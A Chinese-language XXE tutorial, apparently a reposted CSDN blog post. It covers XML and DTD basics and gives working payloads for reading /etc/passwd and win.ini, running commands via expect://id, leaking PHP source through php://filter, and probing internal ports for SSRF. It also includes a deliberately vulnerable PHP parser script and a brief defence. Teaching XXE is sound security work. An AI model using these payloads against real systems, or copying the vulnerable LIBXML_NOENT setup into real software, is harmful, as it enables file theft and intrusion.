XXE漏洞
1. XXE概述
XXE(XML External Entity Injection)即XML外部实体注入。漏洞是在对非安全的外部实体数据进行处理时引发的安全问题。
可以造成危害
- 文件读取
- ssrf
- dos
- 命令执行
XML基础介绍
XML是可扩展的标记语言(eXtensible Markup Language),设计用来进行数据的传输和存储。
下面我们主要介绍PHP语言下的XXE攻击.
基本结构
例子
<!--XML声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT heading (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
DTD
文档类型定义(DTD)
可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
-
内部的 DOCTYPE 声明
<!DOCTYPE 根元素 [元素声明]>
-
外部文档声明
<!DOCTYPE 根元素 SYSTEM ”文件名”>
内部声明的例子
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>KK</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
最外部引用的例子
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "waibu.dtd">
<note>
<to>KK</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
waibu.DTD 被引用的内容为
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
漏洞原理
XXE 即 XML外部实体注入 。
我们先分别理解一下注入和外部实体的含义。
- 注入:是指
XML
数据在传输过程中被修改,导致服务器执行了修改后的恶意代码,从而达到攻击目的。 - 外部实体:则是指攻击者通过利用外部实体声明部分来对
XML
数据进行修改、插入恶意代码。
所以XXE
就是指XML
数据在传输过程中利用外部实体声明部分的“SYSTEM”
关键词导致XML
解析器可以从本地文件或者远程URI
中读取受保护的数据。
主流的漏洞payload
任意文件读取
<?xml version="1.0"?>
<!DOCTYPE Quan[
<!ENTITY fff SYSTEM "file:///etc/passwd">
]>
<hhh>&fff;</hhh>
命令执行
这种情况很少发生,但在配置不当/开发内部应用情况下(PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上),攻击者能够通过XXE执行代码。
<?xml version="1.0"?>
<!DOCTYPE Quan[
<!ENTITY f SYSTEM "expect://id">
]>
<hhh>&f;<hhh>
SSRF内网探测
我们要根据返回信息内容判断该端口是否打开。
主要是根据报错信息的差异来判断是否生效
若测试端口返回“Connection refused”则可以知道该端口是关闭的,否则为就是打开的。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY ssrf SYSTEM "http://192.168.246.136:80">
]>
<reset>
<login>&ssrf;</login>
<secret>ssrf?</secret>
</reset>
简单的测试代码
<?php
$data = isset($_POST['data'])?trim($_POST['data']):'';
$xml = simplexml_load_string($data,"SimpleXMLElement",LIBXML_NOENT);
var_dump($xml)
?>
注意:自己写个html提交表单把,我的环境是 win7+phpstudy
任意文件读取payload
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY content SYSTEM "file:///C:/Windows/win.ini">
]>
<note>
<name>&content;</name>
</note>
任意文件读取php文件payload
问题出在读代码地方,都有<>这种可能会把php文件当初xml给处理了,所以直接读取会直接报错。所以我们换一种协议,转化格式读取
最终可以导致源码泄露
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY content SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php">
]>
<note>
<name>&content;</name>
</note>
解码后正确
SSRF内网探测payload
这个报错信息根据环境的不同,协议的不同报错方式都不一样,所以到底这个有没有打开得自行遍历查看异同,和报错信息判断
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY content SYSTEM "http://127.0.0.1:3306">
]>
<note>
<name>&content;</name>
</note>
防御XXE攻击
使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
转载:https://blog.csdn.net/god_zzZ/article/details/104729803